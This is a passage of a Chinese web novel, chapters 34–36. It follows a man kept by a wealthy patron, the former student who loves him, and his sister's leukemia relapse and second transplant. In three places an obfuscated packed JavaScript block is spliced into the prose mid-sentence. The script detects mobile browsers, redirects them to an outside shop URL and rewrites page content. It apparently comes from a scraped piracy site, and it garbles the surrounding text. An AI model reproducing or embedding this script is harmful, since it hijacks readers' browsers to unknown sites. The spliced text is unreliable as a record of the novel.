“照办?想讨打是不是?!”李景麟当他讲笑话,看着镜头里曾闰成迷离的眼神和泛粉的肤色心头一阵瘙痒,如果在身边在眼前,他一定要把他捆起来狠狠的“教训”一番。想到那些香艳的场景,他不由得放缓了语气,“你这是喝了多少?” “一点点。”曾闰成捏着两根手指比划了一下。 “下次我不在的场合不允许端杯!” “嗯。我想休息了。” 李景麟看着他薄醉的样子有些舍不得挂电话,“行吧,早点睡,明天一早司机来接。” 他踱回沙发边,刚准备挂断,曾闰成突然问了一句,“你一个人在家?” “嗯……当然。”李景麟伸出一只手按了按,示意沙发上的人不要弄出动静。曾闰成难得关心他的动向,那一刹那他也不知道自己为什么要撒谎。 “好,晚安。”曾闰成挂了电话。 李景麟把手机丢回沙发上,烦躁的扯了扯睡袍领口。 宋奕接到李景麟的召唤,特地推了一个通告,打算和他共度一个美妙的夜晚。看他在落地窗前打视频电话,只觉得他似乎不太高兴,没有听到具体内容,但他走到沙发前来的这两句对话,却是听得清清楚楚,不禁变了脸色。 等他挂断了,他忍不住冷笑出声,“就我上回在你办公室撞见的那个?李总的品位有所下降呀。” 李景麟周围这几个人,宋奕已经摸得门清,养在德国这一个算是他比较宠爱的,花了点手段才弄到手,自然是热乎些,横竖没在跟前碍眼,问题不大。这是他原本的认为。 但今天这通视频改变了他的想法,李景麟是什么人?竟然会为了这个男人撒谎,而且是当着他的面! 李景麟点了根烟,“什么时候轮到你来质疑我的品位了?”他其实也有些恼怒自己刹那间的慌乱,原本想放松一下的心情荡然无存,“不想做就回吧。”他抽了两口,又掐灭了,起身走向卧室。 宋奕愣了愣,反应十分迅速,几步上前,从背后抱住他的腰,伏在他背上,“景麟,你不能这么对我。” 他刚出道时是歌手,有一把华丽的好声线。这样哀语低声,是很能打动人的,“我过两天又要进组,就想多陪陪你。” 李景麟拉开他手,转身,他又趁机扑进他怀里,将头靠在他肩膀上,低声说道:“景麟,我知道你对我是很好的,刚拍完的这部片子有希望入围戛纳,还能冲一冲金熊,周导也是看你面子上,不然不会用我。” 宋奕在娱乐圈已经摸爬滚打十多年,现偶、古偶都拍了不少,近两年开始转型,转战大荧幕。 “不用这么谦虚,你如今咖位不小,上戏不必再看我的面子了。”李景麟脸上仍是淡漠的神情,却安抚的拍拍他背,“何况你这些年也帮公司赚了不少钱,很抵得过了。” 宋奕听他说这话,稍稍站直了身体,眼睛凝视在他的脸上,“景麟,你说这话……是什么意思?”这话里切割的意味太明显,令他悚然而惊。 李景麟索性回到沙发前坐下,重新点了一根烟,“你这几年小动作太多了,包括智也那事,你过界了,宋奕。” 李景麟有两年特别喜欢去北海道滑雪、泡温泉,基本都是一个叫智也的滑雪教练陪着他。后面智也车祸撞断腿,他就改去阿斯彭了。 宋奕收起那副可怜兮兮的表情,点了根烟,踱步回沙发前,“过了这几年才问我,你果然没有把这人放心上,只是不知道怎么又想起这人来?”他吞吐着烟雾,“怕我如法炮制?” 李景麟竟然点点头,“智也那事我让苏茜安置了也就算了,犯不着为个日本人伤了我们情分。但闰成这里,我绝不允许类似情况的发生。” 宋奕一口气哽在胸口,但他很了解李景麟脾性,一招不慎,十来年的情分就要断在今晚了。 他沉默了片刻,叹口气,改用嫉妒夹杂着哀伤的语调说话,“景麟,为什么是他?” 李景麟抽着烟沉默着,不知道该怎么回答,其实他也不知道为什么是曾闰成。只能说感情里每一层递进的时机曾闰成都把握得刚刚好。 在他观望多年兴趣渐浓的时候,他对他不假辞色。 在他准备丢过手算了的时候,命运又安排了机会让他求到他跟前。 关键是上手后,他的滋味实在太好,温柔乡名利场中趟过,没有谁比他更合他的心意。 他宠着他,他却又上演了欲拒还迎的戏码,一见面那么黏糊顺从,等他回了金城却从不主动打电话,连信息也没有一个。 他自认为看穿了曾闰成想要拿捏他的小心思,但也愿意纵着他,偶尔作一作也是情趣嘛。 宋奕在一旁窥探着他的脸色,看他脸上神情变幻,一颗心凉到了谷底。 但他情商一向卓绝,越发的示弱示软,“我懂了,景麟,我绝不动他就是了,我跟你发誓,”他从沙发上滑下去,蹲在李景麟脚边,抓着他的手,“只要是你真心喜欢的人,我绝不会伤害他。这点你信我。” 他用一种臣服的姿势,眼睛从下往上看,将恳切和酸楚表露得恰到好处,“我打听你的事也只是想知道,什么样的人可以得到你的青睐,你不喜欢我以后不会再犯了。” 他如今已红遍整个华国,姿态却仍跟十八线时放得一样低,李景麟念起旧情,也不能太决绝。 他伸手将他拉起来,宋奕趁机坐到他腿上,绵软的手掌顺着敞开的睡袍领口摸进他赤裸的胸膛,轻轻的摩挲,“景麟,别生我气,我是不能没有你的……”他仰头吻上了他的喉结。 ————————————————————————— 从生日聚会上离开后,曾闰成有将近一个月的时间没有收到傅廷恩的任何信息。 傅廷恩会及时回复曾闰霞的消息,小姑娘每天开开心心的,经常在晚餐的饭桌上分享一下她和她的男朋友在ins上博得的关注。 “都说我们家廷恩哥是最帅的东方面孔。”廷恩哥的前缀已经变成了“我们家”。 他只是没有单独发消息给曾闰成,没有用餐照片的分享,没有工作状态的汇报,没有一句暗含关心的问候。 然后某一天他更新了ins上的个人签名:水的清澈,并非不含杂质,而在于沉淀。心的通透,并非没有杂念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13446118|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而在于取舍。 之后不久又发了一条新动态,是一份牛津大学本科申硕士的申请单。 曾闰成看着那段话,又看看那张申请单,最终默默的点了个赞。他有关注曾闰霞和傅廷恩的ins账号,只是从来没有留过言。 他长长的吐了口气,不自觉的开始深呼吸。真好!廷恩终于做出了取舍,终于选择了他本就应该选择的路。曾闰成觉得自己实在应该替他高兴,但心里为什么会这样沉甸甸的?像一块石头压在了胸口。 说不清道不明的情绪充斥着整个胸腔,连眼眶也开始变得酸酸涨涨。他推开窗看向屋外的星空,繁星满天,明明是秋高气爽的好天气,是这样美好的夜色,他却觉得一切都变得面目可憎起来,最令人讨厌的就是此刻仰望星空的自己。 手机“嘀”一声轻响,是收到消息的提示音,曾闰成低头点亮屏幕,蓦地睁大了眼睛。 一个陌生号码发过来一张照片,照片上是热情拥吻的两个人,一个后脑勺就能让他清晰的认出那是傅廷恩,他乌黑浓密的自然卷,微微侧身,与他拥吻的另一位有着精致的面庞,露出一线轻闭的单眼皮,是洋介。 其实那天生日,曾闰成已经看出来洋介对廷恩的好感,他总是认真的倾听傅廷恩说的每一句话,打牌的时候如果傅廷恩胡到大牌,他就会轻轻鼓掌,一脸开心的样子。他们是同龄人,或许共同话题更多吧。 曾闰成愣愣的盯着那张照片,只觉得心脏像被什么揪住一样,有种想要大吼大叫的冲动,身体却像被捆住了一般,四肢僵硬的呆愣在原地。 他第一次清晰的认识到,他是喜欢傅廷恩的,一种有别于任何人的喜欢。三年过去,他早已不再当他是学生,也不再是单纯的朋友,他愣愣的看着那张照片,无比清楚的感觉到,他嫉妒这个与傅廷恩拥吻的人,从没有体验过的酸楚弥漫上他的心头眼底。 这一刻曾闰成抛下了所有的理智,只被急于宣泄的情感和想要验证的复杂情绪所驱使。 他翻开通讯录,找到傅廷恩的号码,颤抖着指尖拨了过去。那一刻,他只想马上告诉傅廷恩,我喜欢你廷恩,你可不可以不要取舍,你能不能不要离开。 —————————————————————————— 傅廷恩手机上设置的专属铃声响了起来,他手忙脚乱的从沙发一蹦而起。结果江永安手脚比他更快,一把抢过手机,跑进卫生间,反锁了门。 “你干什么?江永安,开门,你拿我手机干什么?!” 江永安趴在玻璃门板背后,得意的喊道:“你就说我的计策生效了没有?”他任屏幕闪烁亮着却不接起,“如果不是老子,你就是在这里emo到死人家也不会理你,现在来过河拆桥了?!哼!” “我谢谢你,谢谢你行不行?你把手机还给我!”傅廷恩急得“嘭嘭”的捶打着门板。 “等着吧,先不要接,”江永安按两下声音键,把手机调成静音,塞口袋里又拉上拉链,才打开门走出来,“哎,我跟你说,不要抢!” 他伸出手挡住傅廷恩想要抢夺的双臂,“你是身在其中看不清。曾老师这种性格的人,只有让他看清楚自己的内心,你的付出才有意义。没有多少感情经验的人就是这样,他如果不体会嫉妒就不知道你会嫉妒,他如果不体会同样的痛苦就感受不到你的痛苦。你在这里emo得要上吊了,人家还以为你在荡秋千!你让他先好好体会一下。” 江永安深感自己真是操碎了心,推搡着傅廷恩,“亏得老子帮你找角度,还说服洋介借位拍照片。为这事我还答应给他再介绍一个不输给你的男朋友,不然你能有这进度?没良心的,你还想跟我动手?” “不是不是,”傅廷恩打躬作揖的深表感激,但还是想要抢回手机,“都响两遍了!老是不接,他会担心的!” “让他担心去,不然他感受不到,你看着他走出你家房门是什么心情!”江永安不为所动,“其实这个电话让洋介来接效果是最好的……”江永安不自觉的想运用他纵横情场修炼出来的手段。 “你够了!”傅廷恩刚要强行从江永安口袋里掏手机,铃声却换了一种响起,江永安掏出来一看,嗯?怎么变曾闰霞了? 傅廷恩按下接听键,“廷恩哥,我好难受……流了好多血……我是不是快要死了……”曾闰霞软弱无力的声音隔着话筒传来。 35.第 35 章 傅廷恩用最快的速度赶到了柏林的夏利特医院,曾闰霞除了最开始的两次化疗在金城,之后的手术、化疗放疗都是在这家医院,她有专属的主治医生,对曾闰霞的身体状况十分了解。 傅廷恩赶到的时候,医生正跟病人唯一的家属交待情况,看见傅廷恩推门进来,用眼神询问了曾闰成,得到首肯,才点点头,继续往下说:“确实是复发了,这是我们整个医疗团队都不愿意看到的情况……” 曾闰成笔直的站着,身体却不自觉的晃动,傅廷恩从背后托住了他。 医生见惯了生死,虽然深表同情,声音还是不疾不徐,“高危型髓系白血病复发的概率,曾先生心里应该是有数的,能够维持到今天,我们医院真的是尽力了。上次化疗苏女士有邀请梅奥诊所和克利夫兰医学中心的专家过来会诊,他们当时就有提出如果复发进行二次移植的方案,如果转到美国可能还有一线希望……” “马上转!”一行身影推门进来,为首的是李景麟,后面跟着苏秘书以及几个助理模样的男女。 苏秘书上前跟医生接洽,而李景麟一进来完全看不到其他人,他一把搂过曾闰成,低声的安慰他, “闰成,别担心,”他几乎是半抱着把他带了出去,“会有办法的,相信我……” 傅廷恩眼睁睁看着他们俩的背影,顺着长廊走进了旁边的VIP休息室。此时深夜,寂静无声,只有皮鞋磕地的脚步声逐渐远去。 他犹不死心,双脚不受控制的跟到了休息室外,隔着玻璃窗,他看到李景麟一只手握着手机在打电话,另一只却还搂着曾闰成的肩膀。 曾闰成苍白着一张脸,目光凝视着李景麟,那眼神里有信任有依赖,傅廷恩看得明明白白,他不自觉的屏住了呼吸,却没有办法将目光移开。 李景麟用流利的英语打了好几通电话,这边的琐碎事宜苏秘书会处理,但跟美国医院的对接,医疗团队的搭建,飞行计划的特殊申报,显然需要他亲自出马。 曾闰成听着他条理清晰的逐项沟通,一颗慌乱蹦跳的心慢慢安定下来。 李景麟挂了电话,双手将曾闰成揽进怀里,下巴蹭了蹭他柔软的发顶,“飞机一个小时以后起飞,那边一定会有办法的!”他的声音沉稳笃定,“有我在,不要担心。” 曾闰成发软的双脚终于可以踩实地面,紧张过后有些脱力,疲惫的靠在他肩头。“谢谢你,景麟。” “你我之间还说这个。”李景麟低头轻啄了一下他的唇。 灯光里,两人亲密相拥的身影刺痛了窥视的双眼,傅廷恩一个转身靠在了墙壁上,缓缓的吐气,他的双肩无力的垮了下来,良久,终于拖着步伐,顺着长廊走开。 脑海里像捣着浆糊一般,满满当当却毫无思绪,直到一个身影焦急的跑过来,摇晃着他的肩膀,“是傅先生吗?曾小姐一直在找你。”是那堆助理当中的一个。 傅廷恩这才如梦初醒,跟着她急匆匆转过长廊走入病房,曾闰霞看见他,原本萎靡的神情一下子就振奋起来,她半坐在床上,向他伸出两只手臂,“廷恩哥……” 她披散着长发,形容枯槁,脸色苍白,病号服空荡荡的挂在身上,看上去可怜又弱小,傅廷恩俯身抱住了她,“小霞,别怕。” 曾闰霞紧紧的拥住了他,助理知趣的退了出去。良久,她抬起一双泪眼,“廷恩哥,我会死吗?” “不会。”傅廷恩凝视着她的眼睛,“不会的。” 曾闰霞摇摇头,垂下眼睛,低声道,“我听到了,她们说我的病复发了。” 傅廷恩一只手抬起她的脸庞,“小霞,你看着我,”他用眼神表达诚恳和坚定,“你要相信医生会有办法,也要相信自己。” 少女用一双朦胧的泪眼回望着他,却陡然问了一个无关的问题,“廷恩哥,你爱我吗?” 傅廷恩极力不让自己露出半点迟疑,“爱。” 眼泪瞬间就从她的双眸滑落面颊,她颤抖着嘴唇,“廷恩哥,你可不可以吻吻我?如果我真的会死,我不想带着这个遗憾离开……” 傅廷恩看着羸弱面庞上那双满含期待的泪眼,低头,用双唇堵住了她未尽的话语…… 一切准备妥当。李景麟牵着曾闰成的手,来到病房门口,苏秘书示意他们等等,“小情侣在告别呢。” 透过门上的玻璃窗口,是傅廷恩和曾闰霞拥吻的身影。曾闰霞穿着病号服的背影十分瘦弱,男孩轻柔的搂抱着她,两人面庞相接,是情侣间温柔的缠绵。 曾闰成愣愣的看着这一幕,眼泪忽然的就掉了下来。他很清楚,这一次大量的失血让小霞有多憔悴,化疗使她原本就稀疏的头发大把的掉落,脸上的痤疮一夜之间就冒了出来。傅廷恩却像捧着珍宝一般,温柔的吻她。 廷恩啊,曾闰成的心像被割了一刀,抽抽的疼。这样善良这样好的傅廷恩,他曾闰成真的配不上。他就应该做出取舍,去和更清澈更单纯更优秀的人在一起。 李景麟从来没见曾闰成哭过,哪怕是惹恼了他被他使劲折腾,也是咬牙不吭声。这一刻眼泪却像断线的珍珠一般,不断的往下滑落。 他自认为理解他此刻的心情,小霞的情况确实很危急。他接过苏秘书递来的纸巾,温柔的给他擦拭眼泪,叹息着把他搂进怀里,“不要担心,有我呢。” 落地美国克利夫兰市后,手机开通了国际漫游,曾闰成收到了一条来自傅廷恩的信息,只有两个字:“闰成。”他愣愣的看着,却没有再回复。 他无比庆幸那两通电话没有被接听,他确实没有资格再去干扰傅廷恩走向新的生活,去竖立新的人生目标。 他应该发自内心的祝福他,并且应该爽快的放手,他连自己这副躯体都主宰不了,拿什么去嫉妒别人?如果他摆脱不了束缚,却又向他表达感情,才是最大的残忍!是真正的恬不知耻! —————————————————————————— 作为全世界排名第二的医院,克利夫兰医学中心很快做出了二次移植的方案,并且构建了一个顶级医疗团队,以确保最大概率降低排异反应的产生。供体仍然只能是曾闰成,筛选了整个基因库,他的点位最相合,毕竟他们有血缘关系。 注射了升白针后,曾闰成出现了头晕脑胀、全身酸痛的反应,不适的症状一周后才逐渐消失,而曾闰霞足足在无菌病房待了8周,但最终还是扛住了排异反应和感染的风险,又一次坚强的挺了过来。 她出舱的时候,不止苏秘书,李景麟也亲自来接她,称她为“Brave girl”,还送了一束郁金香给她。 小姑娘对她的李叔叔充满了感激,对她亲哥倒是有点淡淡的。 之前无菌病房不允许携带手机,直到最后两个星期曾闰霞身体状况趋于稳定,护士经过特殊申请,将手机严密消毒之后套上无菌袋,每天给她使用一段时间。 她给傅廷恩发了很多信息,有些温馨的对话还会晒在ins上,给她哥倒是前后只发了两条,曾闰成发给她,回复也不是很热络及时。 曾闰成隐隐觉得有些不对,但是心里又能理解,他是她在这个世界上唯一的亲人了,期待、温柔可以给恋人给朋友,烦躁、愤怒只能留给自己的亲人。 他用十二万分的耐心对待曾闰霞,毕竟二次移植成功率其实只有百分之二十,她能挺过来已经是老天眷顾了。怎么可能还在这种小事上跟她计较。 曾闰霞从病房门口一直张望到病房楼下,苏秘书见状问她,“小霞是还约了朋友来接吗?” “嗯,廷恩哥答应了今天来接我出院。” “从伦敦飞过来?” “嗯。” 连苏秘书都表示赞赏,“这男朋友还是挺有心的。”曾闰霞羞涩的低头微笑。 正说着,两个西装革履的身影走了过来,傅廷恩手里捧了一大束黄玫瑰,曾闰霞已经开心的迎了上去,“廷恩哥,我就知道你一定会来的。” 苏秘书打趣道,“怎么不买红的?” 江永安最会圆话,“跑了好几个花店所以迟到了,只有黄色最新鲜。” 曾闰霞已经很满意,左手郁金香右手黄玫瑰,执意捧着花跟傅廷恩合影。 摄影师当然是曾闰成,他隔着镜头看了一眼傅廷恩,两个多月没见,他肉眼可见的瘦了,脸上的笑容倒是一如既往阳光灿烂。 李景麟因为那个亲眼所见的吻,以及今天来接的行为,对傅廷恩印象有所好转,邀请他们一道去他在曼哈顿上东区的别墅住两天。“别住酒店了,多陪陪小霞。” 江永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457941|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安推了傅廷恩一肘子,率先答应下来。他这次陪着来,还肩负着艰巨的任务,谁知道事情就会这么巧呢? 本意是想制造一个误会,然后误会解开,感情也能得以增进。 结果,这个误会持续了两个多月,不知道解开还有没有意义?他看着李景麟和曾闰成相携离去的背影,叹了口气。 ———————————————————————— 纽约曼哈顿上东区是富人聚集的区域,李景麟的这套房子位于寸土寸金的第五大道,上下五层加basement一共六层,室内有电梯直达。主卧是整个三楼,客房则在五楼。 江永安看着房间内的装修咋舌,“这个地段的这种房子至少要1500万美金,基本是空置着,每年光维护费用都是一笔大数目。廷恩,李叔的财力真的咱俩拍马也追不上。” “暂时是比不上。”傅廷恩走到外面的小露台看着楼下花园的景色,“但不会永远比不上。” 他的目光突然凝住,三楼的阳台出现一抹熟悉的身影,他穿着睡袍,手里夹着一根烟,从傅廷恩的角度可以看到他乌黑的发尾下白皙的一段脖颈。 烟雾在他周身缭绕,背影看起来有些消瘦,不知道抽取骨髓有没有对他的身体造成什么影响。从医学的角度是不会,但个体的差异是很大的,而且他已经是第二次抽了。 江永安看他站在露台不说话,跟了出来,一眼看见曾闰成,刚要开口,另一个高大的身影踱了出来,从背后揽住了那瘦弱的腰身。隔着两层听不到他们的喁喁私语,但能看得出那亲密无间的举止。 江永安把傅廷恩往房间里拖,傅廷恩跟着走了两步却又顿住了,怎么都拉不动。 江永安小心的探出头,看见曾闰成摇着头把李景麟推开了一点,李景麟却是一把就将他打横抱了起来,他被迫仰起头,目光却刚好与傅廷恩的视线交错,一瞬间的惊愕、慌乱……或许还有别的什么,但是他很快闭上眼睛,两个身影消失在屋宇之下。 江永安死命把傅廷恩拉进房间,又推到床边坐下,看着他呆滞的样子,忍不住“啧”了一声:“叫你不要站在那里受虐,你是受虐狂吗?非得目睹人家的恩爱现场才能死心?要不要我干脆带你到三楼的电梯口去听一下?” 他一时嘴快,劈里啪啦念叨完才觉得要糟,赶紧去看烟灰缸在哪里,一把抢过藏在身后,却见傅廷恩仍然呆坐在床畔,没有想象中的暴跳如雷。 他松了口气,放下烟灰缸,走到他对面沙发坐下,点了根烟递过去。 傅廷恩接过,抽了一口,低声道:“永安,其实我从没想过,闰成,是有可能喜欢李景麟的。” “对呀,”江永安一拍大腿,“你在这里臆测人家的痛苦,说不准人家快活得很……” 傅廷恩竟然没有跳起来打他,只是转头看着他,眼神麻木而空洞。江永安终于讪讪住嘴,但是很快又换了个方向重提话题,“廷恩,你想想看,李叔叔要什么没有?家世财力身高长相缺哪样?而且你看他对曾老师这上心的程度,小霞出院都亲自来接,手底下没人了吗?” 江永安也看到了那一幕,他作为旁观者,想法要务实得多。既然这误会解开也没啥意义了,不如干脆换条路走。 才到英国的时候他其实迷恋过傅廷恩一段时间,但手段用尽就是勾不上手,看他一天到晚跟别人谈恋爱,还总躲着他,他不痛苦么?可是后来想开了,换到朋友这条路上,哎,反倒是柳暗花明,三不五时能混一块了。 人之所以痛苦,不都是被自己的想法禁锢了么?换个角度,看开点就好了呀。 江永安小心的觑着傅廷恩的面色,徐徐劝慰,“廷恩,要据你所说,曾老师之前的感情经历,那就意味着……李叔叔是他唯一的……又为他付出这么多,小霞这情况搁普通人家早没了,他会喜欢上不是很正常的事情吗?” 他叹了口气,“换我,我估计会死心塌地爱上这个男人,管他小四还是小五,真爱无罪!” 傅廷恩沉默的抽着烟,心脏那阵钝痛总算缓了过去,他低声的叹息着,“或许,我是真的应该放手了。” 烟雾遮住了他湿润的眼睫,他想当面问问他,如果他真的喜欢李景麟,那么,他的确不应该再纠缠使他为难了。 36.第 36 章 从小霞病发住院到顺利出舱整整两个月,李景麟中间飞过来探视了一次,但没有提出任何要求。 首先曾闰成的身体抽取骨髓后,需要一个修复的时间。其次,他担心着二次移植的结果,自然没有那方面的心情。 从这个角度来说,李景麟其实算是比较体贴他,虽然可能跟他并不缺乏发泄的渠道有关系。 所以,当他强势的将他一把打横抱起,轻柔的搁到床上,急切的吻落下来的时候,曾闰成顺从的闭上了眼睛。 然而,他的脑海里不断闪过仓促一瞥,触碰到的那双漆黑的眼睛和绝望的眼神,心脏处顿时传来淤塞苦涩的感觉,像被一只手攥住了似的,他一把推开李景麟,冲进了浴室。 伴随着“哗哗”的水流声,不断的呕吐。他晚餐本来就没有吃多少,一直吐到胃里流酸水,才稍稍舒服了一点。 他也不明白这是为什么,明明是可以忍的。 走出浴室,李景麟拿了睡袍来给他裹上,拥他到沙发上坐下,“医生马上就到。”他听到他在浴室吐得昏天黑地,已经打电话叫了私人医生。 “我没事,不用医生,可能是胃不太舒服。”曾闰成苍白着面颊,连唇瓣都失了血色,李景麟分外怜惜的把他搂进怀里,“你是心思太重了,小霞这次手术是很成功的。但是我们也要看开一些,尽人事听天命……” 李景麟其实并不擅长安慰人,他习惯了发号施令,也习惯了隐藏情绪。 曾闰成偶尔也见过他情绪低落的时候,他会一个人关在书房,拒绝任何人进入,或者在健身房挥汗如雨,他通过事件来排解情绪,而非言语。 李景麟执意要等医生过来,在等待的间隙里,他一直紧紧搂着他,下巴搁在他的发顶轻轻的摩挲。他的怀抱十分宽广,有种淡淡的苦丁香气息。 不管是什么原因的拥抱,都能让人感觉片刻的温暖,曾闰成有些昏昏欲睡。医生急匆匆的走进来,一番听诊检查,自然是没有什么问题,给出了跟曾闰成一模一样的说法,“可能是肠胃不适,可以适当食用一些清淡易消化的食物。” 李景麟又吩咐管家熬一份小米粥送上来,曾闰成阻拦道,“算了,挺晚了,不要劳师动众了。我也吃不下。” “你呀,总怕麻烦别人。”李景麟点一下他的鼻尖,“我花钱养着他们干嘛的,当然是为我服务的。满足我的需求是他们应尽的本分。” 曾闰成低下头,“嗯。”他不能因为这偶尔流露的温情,而忽略这段关系的实质,从而忘记他也有应尽的本分。 这一晚,李景麟没有再多说什么,曾闰成背对着他,他将他搂在怀里,一同睡去。直到清晨,他被游弋的手掌惊醒,他在他的耳畔低低的喘息,在他的脖颈轻柔的啃噬,明确的表达着需索。 曾闰成转过了身。他并没有一再说不的权利。 ———————————————————————— 第二天一早,江永安先下去吃早餐,上来之后,踌躇着对靠坐在床头抽烟的傅廷恩说道,“我刚听管家说,三楼昨晚叫医生了……” 傅廷恩掀开被子,起身穿衣服,“生病了?我去看看。” 江永安一把攥住他胳膊,“别去。”他也是听管家这么一说,便将电梯按到三楼,门一打开便是客厅,如果卧室的门没有关紧,这豪宅的隔音效果也不怎么样…… 傅廷恩看懂他的眼神,一脸不敢置信,“他生病了他还……”他拉开门就要往楼下冲。 江永安一把将他拦腰抱住,“廷恩,你冷静点,如果曾老师心甘情愿呢?”他忍不住拍了自己嘴巴一下,他就多余这么一说。 傅廷恩愣住,熊熊的怒火顷刻间被“心甘情愿”四个字浇灭,脑海里闪过夏利特医院里隔窗窥见的那个眼神,在他需要的时候只有他可以帮他,这一系列操作都不是光有钱就能办到的事情。 傅廷恩甩开江永安的束缚,颓然的坐回了床畔。 这一整天,李景麟和曾闰成都不见人影,但是有管家和菲佣将客人的饮食起居照顾得很周到。 第三天的早餐桌上仍然只有他们三个人,曾闰霞表示见怪不怪,“每次李叔叔来差不多都这样。” 她将土豆泥推到傅廷恩跟前,“要加点盐吗?”她在慢慢恢复正常饮食。 傅廷恩完全吃不下,每一分每一秒都觉得分外难熬。他放下刀叉,“小霞,我得回伦敦了。”或许,问都没有必要再问了吧。 “啊?就要走吗?”小霞露出失望的表情,她顾不得害羞,在餐桌上伸出手去握住傅廷恩的手掌,江永安吐吐舌头把脸转到一边。 傅廷恩倒是很自然的回握住她,“我得回导师那里报到,”他本申硕的申请九月就已经通过,十月已经跟随新的导师开始学习,“你好好照顾自己的身体,按时吃饭吃药知道吗?” “知道啦,我会想你的。”曾闰霞懂事的点点头,努力露出一个笑脸,“那你每天都要给我发消息好吗?两天,三天,最多三天就给我打个电话好不好?廷恩哥,我真的会很想你很想你……”少女皱着眉头摇晃着他的手臂,可怜巴巴的样子。 傅廷恩在她期待渴盼的目光中点点头,“嗯,不用三天,我只要有空就给你打电话。” “叮”的电梯厅门响,走出来两个久违的身影,这种室内的电梯是半开放式的,李景麟显然听到了曾闰霞的撒娇,带了点笑意的调侃,“这么舍不得男朋友?” 他一脸的餮足和舒爽,冲傅廷恩和江永安点点头,用怜爱的目光看着曾闰霞,“那你把身体养好,农历新年的时候邀请你男朋友去Courchevel滑雪。”他转头向江永安,“你也一起去。”李家跟江家一向更亲近一点,有些错综复杂的姻亲关系。 农历新年也就是二月份的时候,离现在还有两三个月的时间,曾闰霞兴奋得脸都红了,“真的吗?我也可以去滑雪吗?” “滑不了有热气球、雪橇可以坐,还有很多店可以shopping,能不能滑雪就看你身体恢复得怎样了。再说了,不是还有男朋友在吗?他会带你的。”他们这种家族里的孩子基本都是念的国际学校,滑雪马术这些都是课程之一。 傅廷恩看着两个人情侣款的家居睡袍,还有曾闰成那即使高高竖起衣领也遮不住的旖旎痕迹,只觉得有什么奔涌着从胸腔席卷而上,拥堵在喉间,又迅速蔓延上鼻腔,将他的眼底染成一片暗红。 江永安拉他一把,“好,到时候坐李叔叔私人飞机去。我上次还是从瑞士坐马车过去的,别提多折腾了。” Courchevel(高雪维尔)有号称世界上最危险的飞机场,坐落在海拔两千多米的阿尔卑斯山脉上,跑道却只有五百多米,还是倾斜式的,专供富豪的私人飞机停放。 “我们也该走了。”他拉着傅廷恩站起身。 “让司机送你们去机场。”李景麟吩咐管家。 菲佣已经把他们的早餐推了上来,他绅士的帮曾闰成拉开椅子,准备用餐。 曾闰成转身,“你先吃,我送送他们。外面风大,小霞你就别出去了。” 三人走到庭院里,江永安不敢走开,庭院正对着一楼的餐厅,坐在餐桌前的李景麟抬头就可以看到。不管有没有意义,他也还是打算帮傅廷恩澄清一下,“曾老师,那张照片是我……” 傅廷恩却先开了口,“闰成,你喜欢李景麟吗?”他深邃的眼睛凝视着面前这个脸色苍白双目有些浮肿的男人,生怕错过他一丝一毫的表情。 “嗯。”曾闰成却是无需考虑的点点头,似乎丝毫为难也没有。 “那你为什么不敢看我的眼睛?” 曾闰成抬起头,直视傅廷恩的眼睛,清晰的看到了那里头盛载的痛苦,是该让这种痛苦结束了。他不能这么自私,自己在混沌里挣扎,还让别人陪着一起。 “廷恩,可能之前我的一些言行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489704|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 误导了你,景麟……他对我挺好的,你也看到了。所以,我确实对他有感觉、感激,也有喜欢。”他看着他的眼睛一字一句说道,表情和语气都无比自然而真挚。 “哼!”傅廷恩冷笑,“你喜欢他?喜欢一个在你生病的时候还要求……” “廷恩!”曾闰成颇有点难堪的打断他,“你误会了,我没有生病,肠胃不适而已,他太紧张我了。” 曾闰成微微侧过身,低声道,“这次回去你专心自己的学业,专注自己的生活吧。小霞这里真的很感谢你,我……”他犹豫了一下,还是把伤人的话说出了口,“我可以付给你报酬。” 原来言语真的是可以杀人的,脑海里像有一把大锤在猛敲猛打,傅廷恩踉跄着后退了一步,江永安紧挨着他,看他的样子不由自主的想要扶住他,他却甩开了他的手,稳住了身形,“报酬?哪种报酬?”他冷笑着擦了擦嘴角,“你付给李景麟的这种?” 曾闰成愣住,本就苍白的面色一瞬间完全没了血色,傅廷恩却转身走开了,“那也得看我稀不稀罕了。” 他一步一步走到车前,伸手扶住了车门,扯着嘴角露出一抹难看至极的笑容,“等我缺乐子的时候再来找你领报酬吧。再见了,曾老师。” 李景麟虽然坐在餐桌前用餐,眼睛却是时不时的瞄一眼庭院里站着的身影,显然是发生了一些不愉快,看着曾闰成失魂落魄的走进来,他狐疑道:“这两小子惹你不高兴了?” 